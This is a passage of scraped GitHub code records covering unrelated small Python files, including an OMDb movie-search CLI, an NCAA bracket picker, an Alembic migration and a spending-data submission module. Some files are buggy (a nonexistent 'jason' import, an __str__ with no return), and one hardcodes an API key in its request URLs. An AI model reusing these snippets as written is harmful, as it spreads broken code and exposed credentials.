detected, return True\n # and interrupt script\n return True\n\n # if delimiters were never detected, return False\n return False\n","repo_name":"worldbank/stata-linter","sub_path":"src/stata_linter_utils.py","file_name":"stata_linter_utils.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"36912834555","text":"import requests\n\nurl = 'http://apis.data.go.kr/6410000/GOA/GOA001' # 제공 url 주소 입력\n\n# 서비스 키 자리에 발급받은 키, 타입은 맞게, , 읽을 페이지 넘버\nparams = {'serviceKey' : '서비스키', 'type' : 'json', 'numOfRows' : '10', 'pageNo' : '1'} \n\nresponse = requests.get(url, params = params)\nprint(response.content) # 출력\n\n# 결과데이터 형태를 보고 str형태로 뜨면 jason형태로 변형을 해주기\nimport jason\njason.loads(response.text) \n# jason형태의 결과 데이터 출력\n","repo_name":"xhdixhfl/movingObject","sub_path":"오픈 API 사용 예시.py","file_name":"오픈 API 사용 예시.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6926516947","text":"import requests\nimport json\nimport textwrap\n\nclass myMenu:\n def __init__(self):\n self.userChoice = None\n \n def showMainMenu(self):\n print(\"\"\"\nVälj ett alternativ\n1. Sök efter film\n2. Visa senaste sökningar\"\"\")\n \n def userChoose(self):\n while True:\n self.showMainMenu()\n userChoice = UserInputInt()\n if userChoice == 0:\n exit()\n if userChoice == 1:\n ShowMovies()\n elif userChoice == 2:\n ShowMoviesHistory()\n\n\nclass Movies:\n def __init__(self, title, year, ratings, imdbID):\n self.title = title\n self.year = year\n self.ratings = ratings\n self.imdbID = imdbID\n self.movieDict = {\"Title\": self.title, \"Year\": self.year, \"Ratings\": self.ratings, \"imdbID\": self.imdbID}\n \n DisplayMovie(self.title, self.year, self.ratings)\n self.SaveMoviesHistory()\n \n def SaveMoviesHistory(self):\n with open(\"Movie_Searches.json\", \"r\", encoding=\"utf-8\") as fr:\n try:\n allLines = json.load(fr)\n except:\n print(\"FAILURE\")\n allLines = []\n if len(allLines) > 9:\n del allLines[9]\n allLines.insert(0, self.movieDict)\n with open(\"Movie_Searches.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump(allLines, f, indent=4, ensure_ascii=False)\n\n\ndef DisplayMovie(title, year, ratings):\n year = 'År: ' + year\n if len(title) > 24:\n lines = textwrap.wrap(title, 25)\n print(f'\\n{lines[0]}\\n{lines[1]:25} {year:>5}')\n else:\n print(f'\\n{title:25} {year:>5}')\n print('-'*50)\n for x in ratings:\n x[\"Value\"] = 'Betyg: ' + x[\"Value\"]\n print(f'{x[\"Source\"]:25} {x[\"Value\"]:>5}')\n\ndef ShowMoviesHistory():\n with open(\"Movie_Searches.json\", \"r\", encoding=\"utf-8\") as f:\n indexedList = ParseMovies(json.load(f))\n userChoice = UserInputInt()\n if userChoice in indexedList:\n DisplayMovie(indexedList[userChoice][\"Title\"], indexedList[userChoice][\"Year\"], indexedList[userChoice][\"Ratings\"])\n\ndef GetMovieData(imdbID = None):\n if imdbID == None: # if request by title\n while True:\n movieTitle = input(\"Film: \")\n if movieTitle == \"0\":\n exit()\n response = requests.get(f'http://www.omdbapi.com/?apikey=3027195b&s={movieTitle}')\n data = response.json()\n if data['Response'] == 'True':\n break\n else:\n print(\"Filmen hittades inte\")\n else: # if request by imdbID\n response = requests.get(f'http://www.omdbapi.com/?apikey=3027195b&i={imdbID}')\n data = response.json()\n return data\n\ndef ShowMovies(result = None):\n result = ParseMovies(result)\n if len(result) > 1:\n userChoice = UserInputInt()\n if userChoice in result:\n movieData = GetMovieData(result[userChoice][\"imdbID\"])\n Movies(movieData[\"Title\"], movieData[\"Year\"], movieData[\"Ratings\"], movieData[\"imdbID\"])\n \ndef ParseMovies(data = None):\n if data == None:\n data = GetMovieData()\n data = {i : movie for i, movie in enumerate(data['Search'], start=1)}\n else:\n data = {i : movie for i, movie in enumerate(data, start=1)}\n for i in data:\n print(f'{i:2}: {data[i][\"Title\"][:25]:25} {data[i][\"Year\"]}')\n return data\n\ndef UserInputInt():\n while True:\n try:\n print(\"\\nAvsluta = 0\")\n x = int(input(\"Ange en siffra: \")) \n break\n except:\n print(\"Error, inte giltig siffra, försök igen\")\n return x","repo_name":"ArgEric8/Python-Laboration-3","sub_path":"modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37746226074","text":"import tkinter as tk\nfrom tkinter import messagebox as mb\nimport sys\n\n\ndef kill():\n root.destroy()\n\n\ndata = sys.argv\ntime = 5000\nmessage = 'Cообщение!'\nif len(data) > 1:\n message = data[1]\n if len(data) > 2:\n try:\n time = int(data[2])\n except ValueError:\n print(\"Second argument must contain integers only!\")\n quit()\n\nroot = tk.Tk()\nroot.after(time, kill)\nmb.showinfo(title='Это сообщение', message=message)\nroot.mainloop()","repo_name":"RuslanLevchuk/beetroot","sub_path":"hw_21/msg2.py","file_name":"msg2.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17553724935","text":"class Complex:\n def __init__(self,real,img):\n self.real = real\n self.img = img\n \n def add_two_numbers(self,number):\n real = self.real + number.real\n img = self.img + number.img\n result = Complex(real,img) \n return result\n \n\nif __name__ == '__main__':\n \n n1 = Complex(4,5)\n n2 = Complex(3,6)\n \n result = n1.add_two_numbers(n2)\n print(result.img)\n print(result.real)","repo_name":"Anjnaeyulu143/Python-Problems","sub_path":"Oops/Basics/adding_class.py","file_name":"adding_class.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12095015541","text":"import ncaa\nimport csv \nfrom bs4 import BeautifulSoup\nimport urllib\nimport re\n\n\ndef parse_teams(filename):\n starting_teams = []\n \n with open(filename, 'r') as f:\n reader = csv.reader(f)\n next(reader, None) #skip header row\n for row in reader:\n if (row):\n name = row[0]\n odds = row[1]\n wins = row[2]\n losses = row[3]\n status = row[4]\n team = ncaa.Team(name, odds, wins, losses,status)\n starting_teams.append(team)\n f.closed\n\n return starting_teams\n\ndef build_matchups(teams):\n matchups = []\n i = 0\n while (i < len(teams)):\n matchups.append(ncaa.Matchup(teams[i], teams[i+1]))\n # increment by 2 since the csv file has all teams playing each other\n # listed sequentially\n i+=2\n return matchups\n \n# just return the team with the greater # of wins for now\ndef pick_winner(matchup):\n team1 = matchup.team1\n team2 = matchup.team2\n \n if (team1.wins > team2.wins):\n return team1\n elif (team1.wins == team2.wins):\n # punt for now; if they're equal, just return team1\n return team1\n else: \n return team2\n \ndef main():\n starting_teams = parse_teams('data/teams.csv')\n matchups = build_matchups(starting_teams)\n for m in matchups:\n print(\"Matchup: {0} vs {1}\".format(m.team1.name,m.team2.name))\n winner = pick_winner(m)\n print(\"Predict {0} will win\".format(winner.name))\n \nif __name__ == \"__main__\":\n main()","repo_name":"alexisgo/MarchMadnessPicker","sub_path":"build_brackets.py","file_name":"build_brackets.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13618666572","text":"def solution(gems):\n gem2cnt = {gems[0]: 1}\n gem_total_cnt = len(set(gems))\n l_idx, r_idx = 0, 0\n answer = [1, len(gems)]\n\n while l_idx <= r_idx < len(gems):\n if len(gem2cnt) == gem_total_cnt:\n if r_idx - l_idx < answer[1] - answer[0]:\n answer = [l_idx + 1, r_idx + 1]\n gem2cnt[gems[l_idx]] -= 1\n if gem2cnt[gems[l_idx]] == 0:\n del gem2cnt[gems[l_idx]]\n l_idx += 1\n else:\n r_idx += 1\n if r_idx >= len(gems):\n break\n if gems[r_idx] in gem2cnt:\n gem2cnt[gems[r_idx]] += 1\n else:\n gem2cnt[gems[r_idx]] = 1\n\n return answer\n","repo_name":"hyeyoungs/ProblemSolving","sub_path":"Kakao/2020I_보석 쇼핑.py","file_name":"2020I_보석 쇼핑.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19195553058","text":"class Event:\n startTime = 0\n duration = 0\n endTime = 0\n name = \"\"\n description = \"\"\n\n # Create an event starting at startTime minutes from midnight, that is duration minutes long\n def __init__(self, name, description, startTime, duration) -> None:\n self.startTime = startTime\n self.duration = duration\n self.endTime = duration + startTime\n self.name = name\n self.description = description\n\n def __str__(self) -> str:\n retStr = self.name + \"\\n\" + self.description\n\n def to24Time(self) -> str:\n return self.duration // 60 + \" : \" + self.duration % 60\n\n\ntestEvent = Event(\"Test\", \"start at 10am!!\", 600, 60)\n","repo_name":"carlosperez67/VirtualSchedulingAssistant","sub_path":"src/Event.py","file_name":"Event.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20305070386","text":"\"\"\"'initial_migration'\n\nRevision ID: 6d50f154b002\nRevises: \nCreate Date: 2023-02-09 11:37:12.497461\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6d50f154b002'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=50), nullable=True),\n sa.Column('last_name', sa.String(length=50), nullable=True),\n sa.Column('tg_id', sa.String(length=20), nullable=False),\n sa.Column('timezone', sa.String(), nullable=True),\n sa.Column('is_active', sa.Boolean(), nullable=False),\n sa.Column('created_on', sa.DateTime(), nullable=True),\n sa.Column('updated_on', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id', name='user_id'),\n sa.UniqueConstraint('tg_id')\n )\n op.create_table('pills',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('pill_name', sa.String(length=50), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('is_active', sa.Boolean(), nullable=False),\n sa.Column('created_on', sa.DateTime(), nullable=True),\n sa.Column('updated_on', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id', name='pill_id')\n )\n op.create_table('schedulepills',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('timer', sa.String(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('pill_id', sa.Integer(), nullable=True),\n sa.Column('created_on', sa.DateTime(), nullable=True),\n sa.Column('updated_on', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['pill_id'], ['pills.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id', name='schedulepill_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('schedulepills')\n op.drop_table('pills')\n op.drop_table('users')\n # ### end Alembic commands ###\n","repo_name":"RautaruukkiPalich/pillsbot","sub_path":"alembic/versions/6d50f154b002_initial_migration.py","file_name":"6d50f154b002_initial_migration.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27882485821","text":"import boto3\nimport logging\nimport os\nimport math\nimport re\n\nfrom datetime import datetime\nfrom flask import g\nfrom sqlalchemy import func, desc, cast, Numeric\nfrom sqlalchemy.sql.expression import case\n\nfrom dataactcore.aws.s3Handler import S3Handler\nfrom dataactcore.config import CONFIG_BROKER, CONFIG_SERVICES\nfrom dataactcore.interfaces.db import GlobalDB\nfrom dataactcore.interfaces.function_bag import (sum_number_of_errors_for_job_list, get_last_validated_date,\n get_fabs_meta, get_error_type, get_error_metrics_by_job_id,\n get_certification_deadline, get_last_modified)\n\nfrom dataactcore.models.lookups import (JOB_STATUS_DICT, PUBLISH_STATUS_DICT, JOB_TYPE_DICT, RULE_SEVERITY_DICT,\n FILE_TYPE_DICT, SUBMISSION_TYPE_DICT)\nfrom dataactcore.models.errorModels import ErrorMetadata, PublishedErrorMetadata\nfrom dataactcore.models.domainModels import CGAC, FREC\nfrom dataactcore.models.jobModels import (Job, Submission, SubmissionSubTierAffiliation, Banner, CertifyHistory,\n PublishHistory, RevalidationThreshold, SubmissionWindowSchedule, Comment,\n PublishedComment, PublishedFilesHistory)\nfrom dataactcore.models.stagingModels import (Appropriation, ObjectClassProgramActivity, AwardFinancial,\n PublishedAppropriation, PublishedObjectClassProgramActivity,\n PublishedAwardFinancial, FlexField, PublishedFlexField, AwardProcurement,\n AwardFinancialAssistance, PublishedAwardProcurement,\n PublishedAwardFinancialAssistance, TotalObligations,\n PublishedTotalObligations)\nfrom dataactcore.models.errorModels import File\n\nfrom dataactcore.utils.jsonResponse import JsonResponse\nfrom dataactcore.utils.responseException import ResponseException\nfrom dataactcore.utils.statusCode import StatusCode\nfrom dataactcore.utils.stringCleaner import StringCleaner\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_submission(user_id, submission_values, existing_submission, test_submission=False):\n \"\"\" Create a new submission if one doesn't exist, otherwise update the existing one\n\n Args:\n user_id: user to associate with this submission\n submission_values: metadata about the submission\n existing_submission: id of existing submission (blank for new submissions)\n test_submission: a boolean flag to indicate whether the submission being created is a test or not, only\n used with new submissions\n\n Returns:\n submission object\n \"\"\"\n if existing_submission is None:\n submission_values['test_submission'] = test_submission\n submission = Submission(created_at=datetime.utcnow(), **submission_values)\n submission.user_id = user_id\n submission.publish_status_id = PUBLISH_STATUS_DICT['unpublished']\n else:\n submission = existing_submission\n if submission.publish_status_id == PUBLISH_STATUS_DICT['published']:\n submission.publish_status_id = PUBLISH_STATUS_DICT['updated']\n # submission is being updated, so turn off publishable flag\n submission.publishable = False\n for key in submission_values:\n # update existing submission with any values provided\n setattr(submission, key, submission_values[key])\n\n return submission\n\n\ndef populate_submission_error_info(submission_id):\n \"\"\" Set number of errors and warnings for submission.\n\n Args:\n submission_id: submission to update submission error info\n\n Returns:\n submission object\n \"\"\"\n sess = GlobalDB.db().session\n submission = sess.query(Submission).filter(Submission.submission_id == submission_id).one()\n submission.number_of_errors = sum_number_of_errors_for_job_list(submission_id)\n submission.number_of_warnings = sum_number_of_errors_for_job_list(submission_id, error_type='warning')\n sess.commit()\n\n return submission\n\n\ndef get_submission_stats(submission_id):\n \"\"\" Get summarized dollar amounts by submission.\n\n Args:\n submission_id: submission to retrieve info from\n\n Returns:\n object containing total_obligations, total_procurement_obligations, total_assistance_obligations\n \"\"\"\n sess = GlobalDB.db().session\n totals = sess.query(TotalObligations).filter_by(submission_id=submission_id).one_or_none()\n return {\n 'total_obligations': float(totals.total_obligations) if totals else 0,\n 'total_procurement_obligations': float(totals.total_proc_obligations) if totals else 0,\n 'total_assistance_obligations': float(totals.total_asst_obligations) if totals else 0\n }\n\n\ndef get_submission_metadata(submission):\n \"\"\" Get metadata for the submission specified\n\n Args:\n submission: submission to retrieve metadata for\n\n Returns:\n object containing metadata for the submission\n \"\"\"\n sess = GlobalDB.db().session\n\n # Determine the agency name\n agency_name = ''\n\n cgac = sess.query(CGAC).filter_by(cgac_code=submission.cgac_code).one_or_none()\n if cgac:\n agency_name = cgac.agency_name\n else:\n frec = sess.query(FREC).filter_by(frec_code=submission.frec_code).one_or_none()\n\n if frec:\n agency_name = frec.agency_name\n\n # Get the last validated date of the submission\n last_validated = get_last_validated_date(submission.submission_id)\n\n # Get metadata for FABS submissions\n fabs_meta = get_fabs_meta(submission.submission_id) if submission.is_fabs else None\n\n # We need to ignore one row from each job for the header\n number_of_rows = sess.query(func.sum(case([(Job.number_of_rows > 0, Job.number_of_rows - 1)], else_=0))).\\\n filter_by(submission_id=submission.submission_id).\\\n scalar() or 0\n\n total_size = sess.query(func.sum(Job.file_size)).\\\n filter_by(submission_id=submission.submission_id).\\\n scalar() or 0\n\n certification_deadline = get_certification_deadline(submission)\n reporting_start = submission.reporting_start_date.strftime('%m/%d/%Y') if submission.reporting_start_date else None\n reporting_end = submission.reporting_end_date.strftime('%m/%d/%Y') if submission.reporting_end_date else None\n last_modified = get_last_modified(submission.submission_id)\n\n return {\n 'cgac_code': submission.cgac_code,\n 'frec_code': submission.frec_code,\n 'agency_name': agency_name,\n 'number_of_errors': submission.number_of_errors,\n 'number_of_warnings': submission.number_of_warnings,\n 'number_of_rows': number_of_rows,\n 'total_size': total_size,\n 'created_on': submission.created_at.strftime('%Y-%m-%dT%H:%M:%S'),\n 'last_updated': last_modified.strftime('%Y-%m-%dT%H:%M:%S') if last_modified else '',\n 'last_validated': last_validated,\n 'reporting_period': reporting_date(submission),\n 'reporting_start_date': reporting_start,\n 'reporting_end_date': reporting_end,\n 'publish_status': submission.publish_status.name,\n 'quarterly_submission': submission.is_quarter_format,\n 'test_submission': submission.test_submission,\n 'published_submission_ids': submission.published_submission_ids,\n 'certified': submission.certified,\n 'certification_deadline': str(certification_deadline) if certification_deadline else '',\n 'fabs_submission': submission.is_fabs,\n 'fabs_meta': fabs_meta\n }\n\n\ndef get_submission_data(submission, file_type=''):\n \"\"\" Get data for the submission specified\n\n Args:\n submission: submission to retrieve metadata for\n file_type: the type of job to retrieve metadata for\n\n Returns:\n JsonResponse containing the error information or the object containing metadata for all relevant file types\n \"\"\"\n sess = GlobalDB.db().session\n file_type = file_type.lower()\n\n # Make sure the file type provided is valid\n if file_type and file_type not in FILE_TYPE_DICT and file_type != 'cross':\n return JsonResponse.error(ValueError(file_type + ' is not a valid file type'), StatusCode.CLIENT_ERROR)\n\n # Make sure the file type provided is valid for the submission type\n is_fabs = submission.is_fabs\n if file_type and (is_fabs and file_type != 'fabs') or (not is_fabs and file_type == 'fabs'):\n return JsonResponse.error(ValueError(file_type + ' is not a valid file type for this submission'),\n StatusCode.CLIENT_ERROR)\n\n job_query = sess.query(Job).filter(Job.submission_id == submission.submission_id)\n if not file_type:\n relevant_job_types = (JOB_TYPE_DICT['csv_record_validation'], JOB_TYPE_DICT['validation'])\n job_query = job_query.filter(Job.job_type_id.in_(relevant_job_types))\n elif file_type == 'cross':\n job_query = job_query.filter(Job.job_type_id == JOB_TYPE_DICT['validation'])\n else:\n job_query = job_query.filter(Job.file_type_id == FILE_TYPE_DICT[file_type])\n\n job_dict = {'jobs': [job_to_dict(job) for job in job_query]}\n return JsonResponse.create(StatusCode.OK, job_dict)\n\n\ndef get_revalidation_threshold():\n \"\"\" Get the revalidation threshold for all submissions\n\n Returns:\n An object containing the revalidation threshold for submissions formatted in MM/DD/YYYY format\n \"\"\"\n sess = GlobalDB.db().session\n reval_thresh = sess.query(RevalidationThreshold).one_or_none()\n\n return {\n 'revalidation_threshold': reval_thresh.revalidation_date.strftime('%Y-%m-%dT%H:%M:%S') if reval_thresh else ''\n }\n\n\ndef get_latest_publication_period():\n \"\"\" Get the latest publication period for all submissions\n\n Returns:\n A dictionary containing the latest publication period (period and year)\n \"\"\"\n sess = GlobalDB.db().session\n last_pub_period = sess.query(SubmissionWindowSchedule.period, SubmissionWindowSchedule.year,\n SubmissionWindowSchedule.publish_deadline).\\\n filter(SubmissionWindowSchedule.period_start <= datetime.today()).\\\n order_by(SubmissionWindowSchedule.period_start.desc()).first()\n return {\n 'period': last_pub_period.period if last_pub_period else None,\n 'year': last_pub_period.year if last_pub_period else None,\n 'deadline': str(last_pub_period.publish_deadline) if last_pub_period else None\n }\n\n\ndef reporting_date(submission):\n \"\"\" Format submission reporting date in MM/YYYY format for monthly submissions and Q#/YYYY for quarterly\n\n Args:\n submission: submission whose dates to format\n\n Returns:\n Formatted dates in the format specified above\n \"\"\"\n if not (submission.reporting_start_date or submission.reporting_end_date):\n return None\n if submission.is_quarter_format:\n return 'Q{}/{}'.format(submission.reporting_fiscal_period // 3, submission.reporting_fiscal_year)\n if submission.reporting_fiscal_period == 2:\n return 'P01-P02/{}'.format(str(submission.reporting_fiscal_year))\n return 'P{:02d}/{}'.format(submission.reporting_fiscal_period, submission.reporting_fiscal_year)\n\n\ndef job_to_dict(job):\n \"\"\" Convert a Job model into a dictionary, ready to be serialized as JSON\n\n Args:\n job: job to convert into a dictionary\n\n Returns:\n A dictionary of job information\n \"\"\"\n sess = GlobalDB.db().session\n\n job_info = {\n 'job_id': job.job_id,\n 'job_status': job.job_status_name,\n 'job_type': job.job_type_name,\n 'filename': job.original_filename,\n 'file_size': job.file_size,\n 'number_of_rows': job.number_of_rows - 1 if job.number_of_rows else 0,\n 'file_type': job.file_type_name or '',\n 'last_validated': str(job.updated_at)\n }\n\n # @todo replace with relationships\n file_results = sess.query(File).filter_by(job_id=job.job_id).one_or_none()\n if file_results is None:\n # Job ID not in error database, probably did not make it to validation, or has not yet been validated\n job_info.update({\n 'file_status': '',\n 'error_type': '',\n 'error_data': [],\n 'warning_data': [],\n 'missing_headers': [],\n 'duplicated_headers': []\n })\n else:\n # If job ID was found in file, we should be able to get header error lists and file data. Get string of missing\n # headers and parse as a list\n job_info['file_status'] = file_results.file_status_name\n job_info['missing_headers'] = StringCleaner.split_csv(file_results.headers_missing)\n job_info['duplicated_headers'] = StringCleaner.split_csv(file_results.headers_duplicated)\n job_info['error_type'] = get_error_type(job.job_id)\n job_info['error_data'] = get_error_metrics_by_job_id(job.job_id, job.job_type_name == 'validation',\n severity_id=RULE_SEVERITY_DICT['fatal'])\n job_info['warning_data'] = get_error_metrics_by_job_id(job.job_id, job.job_type_name == 'validation',\n severity_id=RULE_SEVERITY_DICT['warning'])\n return job_info\n\n\ndef get_submission_status(submission, jobs):\n \"\"\" Return the status of a submission.\n\n Args:\n submission: submission to retrieve status from\n jobs: jobs within the submission to retrieve status from\n\n Returns:\n string containing the status of the submission\n \"\"\"\n status_names = JOB_STATUS_DICT.keys()\n statuses = {name: 0 for name in status_names}\n\n for job in jobs:\n job_status = job.job_status.name\n statuses[job_status] += 1\n\n status = 'unknown'\n\n if statuses['failed'] != 0:\n status = 'failed'\n elif statuses['invalid'] != 0:\n status = 'file_errors'\n elif statuses['running'] != 0:\n status = 'running'\n elif statuses['waiting'] != 0:\n status = 'waiting'\n elif statuses['ready'] != 0:\n status = 'ready'\n elif statuses['finished'] == jobs.count():\n if submission.publish_status_id == PUBLISH_STATUS_DICT['unpublished']:\n status = 'validation_successful'\n if submission.number_of_warnings is not None and submission.number_of_warnings > 0:\n status = 'validation_successful_warnings'\n elif submission.publish_status_id == PUBLISH_STATUS_DICT['published']:\n status = 'certified' if submission.certified else 'published'\n elif submission.publish_status_id == PUBLISH_STATUS_DICT['updated']:\n status = 'updated'\n\n # Check if submission has errors\n if submission.number_of_errors is not None and submission.number_of_errors > 0:\n status = 'validation_errors'\n\n return status\n\n\ndef get_submission_files(jobs):\n \"\"\" Return the filenames of all jobs within a submission.\n\n Args:\n jobs: jobs to retrieve filenames from\n\n Returns:\n array of all filenames within the jobs given\n \"\"\"\n job_list = []\n for job in jobs:\n if job.filename not in job_list:\n job_list.append(job.filename)\n return job_list\n\n\ndef delete_submission_files(sess, submission_id):\n \"\"\" Deletes the files associated with a submission.\n\n Args:\n sess: the database connection\n submission_id: ID of the submission whose files to delete\n \"\"\"\n\n logger.info({\n 'message': 'Deleting submission files with id {}'.format(submission_id),\n 'message_type': 'BrokerInfo',\n 'submission_id': submission_id\n })\n\n if CONFIG_BROKER[\"use_aws\"]:\n s3 = boto3.resource('s3', region_name=CONFIG_BROKER['aws_region'])\n bucket = s3.Bucket(CONFIG_BROKER['aws_bucket'])\n # submission files + historic submission files\n bucket.objects.filter(Prefix=\"{}/\".format(submission_id)).delete()\n # all error warning files tied to the submission\n bucket.objects.filter(Prefix=\"errors/submission_{}_\".format(submission_id)).delete()\n else:\n # submission files tied to jobs\n jobs = sess.query(Job).filter_by(submission_id=submission_id)\n for sub_file in get_submission_files(jobs):\n if sub_file and os.path.exists(sub_file):\n os.remove(sub_file)\n # all error warning files tied to the submission\n for file_path in os.listdir(CONFIG_SERVICES['error_report_path']):\n if re.search('submission_{}_.*'.format(submission_id), file_path):\n os.remove(os.path.join(CONFIG_SERVICES['error_report_path'], file_path))\n\n\ndef delete_all_submission_data(submission):\n \"\"\" Delete a submission.\n\n Args:\n submission: submission to delete\n\n Returns:\n JsonResponse object containing a success message or the reason for failure\n \"\"\"\n # check if the submission has been published, if so, do not allow deletion\n if submission.publish_status_id != PUBLISH_STATUS_DICT['unpublished']:\n return JsonResponse.error(ValueError('Submissions that have been published cannot be deleted'),\n StatusCode.CLIENT_ERROR)\n\n sess = GlobalDB.db().session\n\n # check if the submission has any jobs that are currently running, if so, do not allow deletion\n running_jobs = sess.query(Job).filter(Job.submission_id == submission.submission_id,\n Job.job_status_id == JOB_STATUS_DICT['running']).all()\n if running_jobs:\n return JsonResponse.error(ValueError('Submissions with running jobs cannot be deleted'),\n StatusCode.CLIENT_ERROR)\n\n delete_submission_files(sess, submission.submission_id)\n\n logger.info({\n 'message': 'Deleting submission database data with id {}'.format(submission.submission_id),\n 'message_type': 'BrokerInfo',\n 'submission_id': submission.submission_id\n })\n\n sess.query(SubmissionSubTierAffiliation).\\\n filter(SubmissionSubTierAffiliation.submission_id == submission.submission_id).\\\n delete(synchronize_session=False)\n sess.query(Submission).filter(Submission.submission_id == submission.submission_id).\\\n delete(synchronize_session=False)\n\n sess.expire_all()\n\n return JsonResponse.create(StatusCode.OK, {'message': 'Success'})\n\n\ndef list_banners(login=False):\n \"\"\" List all the banners that are open at the time this is called.\n\n Args:\n login: surfaces only login banners if True, else filters out login banners\n\n Returns:\n A JsonResponse containing data for each currently open banner including start_date, end_date,\n notice_block, message, and type\n \"\"\"\n current_banners = get_banners(login)\n\n data = []\n\n if current_banners.count() == 0:\n data = None\n else:\n for banner in current_banners:\n data.append({\n 'start_date': str(banner.start_date),\n 'end_date': str(banner.end_date),\n 'notice_block': banner.block_certification,\n 'header': banner.header,\n 'message': banner.message,\n 'type': banner.application_type.application_name,\n 'banner_type': banner.banner_type\n })\n\n return JsonResponse.create(StatusCode.OK, {'data': data})\n\n\ndef get_banners(login=False):\n \"\"\" Get all banners that start before and end after the current date\n\n Args:\n login: surfaces only login banners if True, else filters out login banners\n\n Returns:\n A query to get all the banners surrounding the current date\n \"\"\"\n sess = GlobalDB.db().session\n\n curr_date = datetime.now().date()\n\n if login:\n login_filter = (Banner.application_type_id == SUBMISSION_TYPE_DICT['login'])\n else:\n login_filter = (Banner.application_type_id != SUBMISSION_TYPE_DICT['login'])\n\n return sess.query(Banner).filter(Banner.start_date <= curr_date, Banner.end_date >= curr_date, login_filter)\n\n\ndef check_current_submission_page(submission):\n \"\"\" Check what page of the submission the user should be allowed to see and if they should be redirected to an\n earlier one.\n\n Args:\n submission: The submission object\n\n Returns:\n A JsonResponse containing the step of the process the submission is on or that a step cannot be determined\n \"\"\"\n sess = GlobalDB.db().session\n\n submission_id = submission.submission_id\n\n # /FABSaddData\n # FABS\n if submission.is_fabs:\n data = {\n 'message': 'This submission is currently on the /FABSaddData page.',\n 'step': '6'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n # /reviewData\n # Checks that both E and F files are finished\n review_data = sess.query(Job).filter(Job.submission_id == submission_id, Job.file_type_id.in_([6, 7]),\n Job.job_status_id == 4)\n\n # Need to check that cross file is done as well\n generate_ef = sess.query(Job).filter(Job.submission_id == submission_id, Job.job_type_id == 4,\n Job.number_of_errors == 0, Job.job_status_id == 4)\n\n if review_data.count() == 2 and generate_ef.count() > 0:\n data = {\n 'message': 'This submission is currently on the /reviewData page.',\n 'step': '5'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n # /generateEF\n if generate_ef.count() > 0:\n data = {\n 'message': 'This submission is currently on the /generateEF page.',\n 'step': '4'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n validate_cross_file = sess.query(Job).filter(Job.submission_id == submission_id, Job.file_type_id.in_([4, 5]),\n Job.job_type_id == 2, Job.number_of_errors == 0,\n Job.file_size.isnot(None), Job.job_status_id == 4)\n\n generate_files = sess.query(Job).filter(Job.submission_id == submission_id, Job.file_type_id.in_([1, 2, 3]),\n Job.job_type_id == 2, Job.number_of_errors == 0,\n Job.file_size.isnot(None), Job.job_status_id == 4)\n\n # /validateCrossFile\n if validate_cross_file.count() == 2 and generate_files.count() == 3:\n data = {\n 'message': 'This submission is currently on the /validateCrossFile page.',\n 'step': '3'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n # /generateFiles\n if generate_files.count() == 3:\n data = {\n 'message': 'This submission is currently on the /generateFiles page.',\n 'step': '2'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n # /validateData\n validate_data = sess.query(Job).filter(Job.submission_id == submission_id, Job.file_type_id.in_([1, 2, 3]),\n Job.job_type_id == 2, Job.number_of_errors != 0, Job.file_size.isnot(None))\n check_header_errors = sess.query(Job).filter(Job.submission_id == submission_id, Job.file_type_id.in_([1, 2, 3]),\n Job.job_type_id == 2, Job.job_status_id != 4)\n if validate_data.count() or check_header_errors.count() > 0:\n data = {\n 'message': 'This submission is currently on the /validateData page.',\n 'step': '1'\n }\n return JsonResponse.create(StatusCode.OK, data)\n\n else:\n return JsonResponse.error(ValueError('The submission ID returns no response'), StatusCode.CLIENT_ERROR)\n\n\ndef get_published_submission_ids(cgac_code, frec_code, reporting_fiscal_year, reporting_fiscal_period,\n is_quarter_format, submission_id=None):\n \"\"\" List any published submissions by the same agency in the same period\n\n Args:\n cgac_code: the CGAC code to check against or None if checking a FREC agency\n frec_code: the FREC 